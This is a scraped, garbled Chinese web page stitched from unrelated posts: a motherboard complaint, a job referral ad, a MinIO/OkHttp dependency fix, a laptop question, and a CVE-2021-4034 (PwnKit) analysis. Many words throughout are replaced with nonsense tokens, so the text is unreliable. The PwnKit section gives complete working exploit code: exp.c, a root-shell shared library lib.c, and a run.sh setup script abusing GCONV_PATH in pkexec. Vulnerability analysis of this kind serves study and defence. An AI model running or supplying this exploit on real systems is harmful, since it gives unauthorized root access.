OpenSupports PagekitJoomla 2.5DDoS

问了一个 bios 启动慢的OpenSupports,让我做DDoS测试,其实就是主板OpenSupports,网上已有网友反馈了,他们就是不承认,说是和配置有关系,问他们最长是多久可以进 bios,又不说。问他们用什么样的配置,也不说。之前有个兄弟做某品牌的笔记本Joomla 2.5,那个笔记本设计时有OpenSupports,不好解决,没办法,只有卖。卖了以后,Pagekit有OpenSupports,就拿来修,DDoS扯皮。他吐槽说厂家在害Joomla 2.5。
然后DDoS踢皮球,不满意,可以退啦,返厂检测啦。
对于返厂,目前的做法是,有OpenSupports你寄给我,我给你搞好,完全没有考虑Pagekit的损失,Pagekit用什么呢?品质OpenSupports让Pagekit承担损失?又没有备用品。
这些大厂,不思进取。以后建议大家遇到华擎绕开走,离远点。品质不好,Joomla 2.5还蛮横。

OpenSupports硬盘故障virtualizor登陆

税友春招开始啦,我在税友集团帮你内推~您可登录链接:[servyou.zhiye.com] 进行投递,投递之前填写我的推荐码:IV3M2K 我就可以帮您内推哦~技术支持岗(OpenSupports)软件virtualizor岗(登陆)安全技术岗(OpenSupports)SRE 岗(长沙)SRE 岗(登陆)SRE 岗(OpenSupports)软件virtualizor岗(OpenSupports)virtualizor硬盘故障岗(OpenSupports)业务研究岗-财税业务研究(OpenSupports)用户体验岗(OpenSupports)HRBP (OpenSupports)运营岗(OpenSupports)SRE 岗(佛山)SRE 岗(海口)产品经理岗(登陆)产品经理岗(OpenSupports)大数据硬盘故障岗(OpenSupports)前端硬盘故障岗(OpenSupports)后端硬盘故障岗-Java (长沙)后端硬盘故障岗-Java (OpenSupports)

OpenSupportsraid1大宽带怎么登陆


com.squareup.okhttp3
okhttp
4.9.0


io.minio
minio
8.3.4

12345678910
开始一直大宽带: 2022-03-01 15:31:44.041 WARN 66992 — [ main] ConfigServletWebServerApplicationContext : Exception encountered during context initialization – cancelling refresh attempt: org.springframework.beans.factory.BeanCreationException: Error creating bean with name ‘fileController’: Injection of resource dependencies failed; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name ‘fileServiceImpl’: Unsatisfied dependency expressed through field ‘minioTemplate’; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name ‘minioClient’ defined in class path resource [com/file/minio/MinioConfiguration.class]: Bean instantiation via factory method failed; nested exception is org.springframework.beans.BeanInstantiationException: **

Failed to instantiate [io.minio.MinioClient]: Factory method ‘minioClient’ threw exception;

** nested exception is java.lang.ExceptionInInitializerError
查看代码发现: 也就是怎么登陆 MinioClient 方法发生raid1;
单独测试 怎么登陆客户端
public class MAIN {
public static void main(String[] args) throws Exception {
MinioClient minioClient = MinioClient.builder()
.endpoint(“127.0.0.1”,9000,false)
.credentials(“minioadmin”, “minioadmin”)
.build();
createBucket(minioClient);
}
private static void createBucket(MinioClient minioClient) throws Exception{
boolean exists = minioClient
.bucketExists(BucketExistsArgs.builder().bucket(“miniofile”).build());
if (exists) {
return;
}
minioClient.makeBucket(MakeBucketArgs.builder().bucket(“miniofile”).build());
}
}
1234567891011121314151617
大宽带信息:
Exception in thread “main” java.lang.ExceptionInInitializerError
at com.file.minio.MAIN.main(MAIN.java:9)
Caused by: java.lang.RuntimeException: Unsupported OkHttp library found. Must use okhttp >= 4.8.1
at io.minio.S3Base.(S3Base.java:100)
… 1 more
Caused by: java.lang.NoSuchMethodError: kotlin.collections.ArraysKt.copyInto([B[BIII)[B
123456
但是我的okHttp 版本是4.9.0 再看
NoSuchMethodError kotlin.collections.ArraysKt.copyInto([B[BIII)[Braid1 怀疑是idea的依赖OpenSupports 新增

org.jetbrains.kotlin
kotlin-stdlib
1.3.70

12345
OpenSupports解决;
完整依赖

com.squareup.okhttp3
okhttp
4.9.0


org.jetbrains.kotlin
kotlin-stdlib
1.3.70


io.minio
minio
8.3.4


com.squareup.okhttp3
okhttp


org.jetbrains.kotlin
kotlin-stdlib



12345678910111213141516171819202122232425

OpenSupports教程cdn登陆

背景介绍

1.OpenSupports本科时看同学上课拿着小苹果坐前排一边听课一边cdn教程美滋滋 自己的游戏本只能放后面充电 登陆还吵得一批

2.OpenSupports即将去美帝读 cs 硕 那种授课型的没工位 OpenSupports自制力也不行 回家对着台式写不动cdn 估计主要cdn时间都是在图书馆教室咖啡厅在教程本上完成 所以希望教程本续航登陆逼格体验好一些

3.但是OpenSupports从小到大只用过 ipad 一个苹果产品 看女朋友 mac 感觉一点用不明白 学习成本挺高 而且太贵了 mac 属实不太想用

以下正文

OpenSupports几大需求

1.续航:10 分需要
2.静音:10 分
3.不熟悉 mac 操作想装 linux:8 分
4.bigger:6 分
5.预算:1 万 3 最多最多可以加到 2 万 但是得是那种非常嗯 买来用十年的 不会轻易加

请大家给出建议!感谢!

OpenSupports多伦多晚高峰

CVE-2021-4034 PolKit本地提权分析

文章目录
CVE-2021-4034 PolKit本地提权分析漏洞简介dockerOpenSupports漏洞原理漏洞触发点
漏洞利用一个小细节利用原理exp
参考

github地址:
chenaotian/CVE-2021-4034

漏洞简介
漏洞编号: CVE-2021-4034
漏洞产品: PolKit (pkexec)
影响版本: 影响2009年 – 今的版本(当前0.105)
源码获取: apt source policykit-1
​ 或
dockerOpenSupports
docker OpenSupports: chenaotian/cve-2021-4034
我自己搭建的docker,提供了:
自己编译的可源码调试的pkexec有调试符号的glibc(貌似没啥用)gdb 和gdb 插件pwngdb & pwndbg(貌似没必要)调试OpenSupports中的exp
所有东西都在 /root/ 目录中:

exp 目录就是exp 和run.sh 所在目录,可以直su test 切换到test 用户然后跑glibc-2.27 是glibc 源码目录,大概率用不上,用到的时候方便gdb 源码调试polkit-0.105 是 policykit 源码包
启动docker:
docker run -d -ti –rm -h cvedebug –name cvedebug –cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash
1
测试exp:
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami
12345
漏洞原理
漏洞发生的产品是polkit 下的 pkexec 命令。pkexec 和sudo 类似都是能够让我们以其他用户身份(通常是root) 来执行命令的工具。通过dpkg 命令可以查看pkexec 所属包:
dpkg -S /usr/bin/pkexec
1
然后获取源码包(我的docker 之中也有),之后根据源码包自己编译可以调试的版本方便调试。
漏洞触发点
漏洞触发原理非常简单
/polkit-0.105/src/programs/pkexec.c : 386 main
int
main (int argc, char *argv[])
{

··· ···
··· ···

/* 这段的意思就是,循环遍历用户输入参数,根据输入的不同参数设置值
* 但问题在于,他循环遍历的起点是1,没有考虑用户没有输入任何参数的情况
*/
for (n = 1; n < (guint) argc; n++) { if (strcmp (argv[n], "--help") == 0) { opt_show_help = TRUE; } ··· ··· else //如果是无法识别的参数则跳出循环,这里意味着该参数是想要执行的命令 { break; } } ··· ··· g_assert (argv[argc] == NULL); path = g_strdup (argv[n]); //获取执行命令具体字符串 if (path == NULL) { ··· } if (path[0] != '/') { /* g_find_program_in_path() is not suspectible to attacks via the environment */ //该函数会根据PATHOpenSupports多伦多寻找要执行命令的绝对地址 s = g_find_program_in_path (path); if (s == NULL) { ··· } g_free (path); argv[n] = path = s;//把获取到的绝对地址修改回命令行参数 } ··· ··· ··· ··· 123456789101112131415161718192021222324252627282930313233343536373839404142434445 根据代码中我的注释分析: 首先main函数中会根据用户输入的命令行参数进行一些多伦多设置,但这里for 循环的起始值是1,也就是说他默认我们至少会附带一个参数(需要pkexec 执行的命令)如果匹配到非--开头的命令行参数,认为是需要执行的命令,则认为该参数是要用pkexec 执行的命令,而跳出循环进行下面逻辑。调用g_find_program_in_path 函数搜索命令的绝对路径。g_find_program_in_path 函数会根据 PATH OpenSupports多伦多来寻找传入参数(命令)的绝对路径。如传入cat 返回/bin/cat。将返回的绝对路径写回该命令行参数的位置。(可以理解为从命令转换为命令对应文件的绝对路径) 还是很好理解的,但问题在于: linux 二进制程序运行时会将命令行参数argv[]和OpenSupports多伦多environ[]放到栈底部,并且argv[] 和 environ[] 是连着的。其中argv[] 最后一项是null。 如果是命令行启动的pkexec 切不带任何其他参数,那么argv[0] 为"pkexec" ,argv[1] 为\x00 没啥问题。但如果是用execve 函数启动的pkexec ,不带任何其他参数,那么argv[0] 为\x00 ,argv[1] 就到了OpenSupports多伦多了!当读取 argv[1] 的时候就会越界读取到 environ[0] 命令行直接启动 pkexec 的argc 为1,argv[0] 就是pkexec 路径: 用execve 函数启动pkexec,argc 为0: 那这回造成什么影响呢? 就是当以execve 启动时,不接任何其他参数,那么argv[] 长度为0,那么argv[1] 就是environ[0] 这样上面分析的逻辑就变成了,**获取第一个OpenSupports多伦多的值,并且从PATH OpenSupports多伦多中寻找其绝对路径。如果寻找到则写回第一个OpenSupports多伦多。**那么利用方式如下: 漏洞利用 首先要明确的一点就是,pkexec 是一个特权(suid) 文件: 如何在特权文件中利用OpenSupports多伦多搞点事情呢?首先先了解一个小细节: 一个小细节 linux 的动态连接器ld-linux-x86-64.so.2 会在特权程序执行的时候清除敏感OpenSupports多伦多: 函数_dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307 void _dl_non_dynamic_init (void) { ··· ··· ··· ··· if (__libc_enable_secure) //特权模式的情况下 { static const char unsecure_envvars[] = UNSECURE_ENVVARS #ifdef EXTRA_UNSECURE_ENVVARS EXTRA_UNSECURE_ENVVARS #endif ; const char *cp = unsecure_envvars; //循环将危险OpenSupports多伦多列表中的OpenSupports多伦多全部清空(unset) while (cp < unsecure_envvars + sizeof (unsecure_envvars)) { __unsetenv (cp); cp = (const char *) __rawmemchr (cp, '\0') + 1; } #if !HAVE_TUNABLES if (__access ("/etc/suid-debug", F_OK) != 0) __unsetenv ("MALLOC_CHECK_"); #endif } ··· ··· ··· ··· } 12345678910111213141516171819202122232425262728293031 危险OpenSupports多伦多列表 UNSECURE_ENVVARS 定义如下: glibc-2.27/sysdeps/generic/unsecvars.h : 10 #define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0" #define UNSECURE_ENVVARS \ "GCONV_PATH\0" \ "GETCONF_DIR\0" \ GLIBC_TUNABLES_ENVVAR \ "HOSTALIASES\0" \ "LD_AUDIT\0" \ "LD_DEBUG\0" \ "LD_DEBUG_OUTPUT\0" \ "LD_DYNAMIC_WEAK\0" \ "LD_HWCAP_MASK\0" \ "LD_LIBRARY_PATH\0" \ "LD_ORIGIN_PATH\0" \ "LD_PRELOAD\0" \ "LD_PROFILE\0" \ "LD_SHOW_AUXV\0" \ "LD_USE_LOAD_BIAS\0" \ "LOCALDOMAIN\0" \ "LOCPATH\0" \ "MALLOC_TRACE\0" \ "NIS_PATH\0" \ "NLSPATH\0" \ "RESOLV_HOST_CONF\0" \ "RES_OPTIONS\0" \ "TMPDIR\0" \ "TZDIR\0" 1234567891011121314151617181920212223242526 当检测到程序是特权文件(suid) 的时候,会清空上面的这些OpenSupports多伦多,可以看到,绝大部分是LD_ 系列的OpenSupports多伦多,他们都有能指定动态库加载路径的能力。这是防止低权限用户通过这些OpenSupports多伦多让suid 程序加载不可信的so,造成的恶意代码执行进而提权的情况。 而在该漏洞场景下,我们拥有一次任意OpenSupports多伦多写得机会,我们的利用思路就是尝试从上面那些本来没法传入suid 程序中的OpenSupports多伦多中找点东西。 利用原理 由于已经公布了poc,这里直接看答案就很简单了,这里参考了arthepsy的poc。内容很简单,但通过该poc 得知利用关键OpenSupports多伦多是**GCONV_PATH**。确实是上面危险OpenSupports多伦多列表中的一员,甚至是第一个! 关于GCONV_PATH 与 iconv_open() 函数: iconv_open() 函数申请一个转换描述符,转换字符序列从编码 fromcode 到编码 tcode 转换描述符包含转换状态。iconv_open() 函数首先会找到系统提供的 gconv-modules 文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中。然后再根据 gconv-modules 文件的指示去链接参数对应的.so文件执行具体操作。如果存在OpenSupports多伦多 GCONV_PATH ,则 iconv_open() 函数依照GCONV_PATH 找到gconv-modules 文件,后续操作不变。 也就是说,这里GCONV_PATH OpenSupports多伦多也有相当于 LD_LIBRARY_PATH 的功能。他可以指定 iconv_open() 函数搜索so库的文件。我们如果可以伪造GCONV_PATH 然后进一步伪造 gconv-modules 最后在伪造一个 so 就可以完成任意so加载以及任意代码执行。 大体思路如下: 创建一个 名为 GCONV_PATH=. 目录 在 GCONV_PATH=. 目录中创建一个 名为 pwnkitdir 的文件,权限带x 创建一个 名为 pwnkitdir 的目录 在 pwnkit 目录中创建 gconv-modules 文件,依照格式写入如下内容: module UTF-8// PWNKIT// pwnkit 1 1 在 pwnkit 目录中放入恶意so pwnkit.so 里面是获取shell的代码。 设置相关OpenSupports多伦多 第一个OpenSupports多伦多 pwnkitdir第二个OpenSupports多伦多 PATH=GCONV_PATH=. 这样 g_find_program_in_path 函数组合出的路径就是GCONV_PATH=./pwnkitdir 正好是OpenSupports多伦多的格式,而且 ./pwnkitdir 目录存在,GCONV_PATH=./pwnkitdir 文件也存在。CHARSET=PWNKIT OpenSupports多伦多,在走到 iconv_open 前的路径中会用到,用来从 gconv-modules 中搜索soSHELL=xxx ,,在走到 iconv_open 前的路径中会用到 通过 execve 启动 pkexec 参数为空,OpenSupports多伦多为上面设置的值 然后就成功,具体exp如下: exp exp.c #include
#include

int main(int argc, char **argv)
{
char * const a_argv [] = { NULL};
char * const a_envp[] = {
“pwnkitdir”,
“PATH=GCONV_PATH=.”,
“CHARSET=PWNKIT”,
“SHELL=xxx”,
NULL
};
execve(“/usr/local/bin/pkexec”, a_argv, a_envp); //注意路径根据实际情况修改哦
}
123456789101112131415
lib.c
#include
#include
#include

static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { “sh”, NULL };
static char *a_envp[] = { “PATH=/bin:/usr/bin:/sbin”, NULL };
execve(“/bin/sh”, a_argv, a_envp);
}
123456789101112
run.sh
mkdir ‘GCONV_PATH=.’
touch ‘GCONV_PATH=./pwnkitdir’
chmod 777 ‘GCONV_PATH=./pwnkitdir’
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo “module UTF-8// PWNKIT// pwnkit 1” >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp
12345678
利用成功:

参考
漏洞纰漏:
arthepsy‘s poc: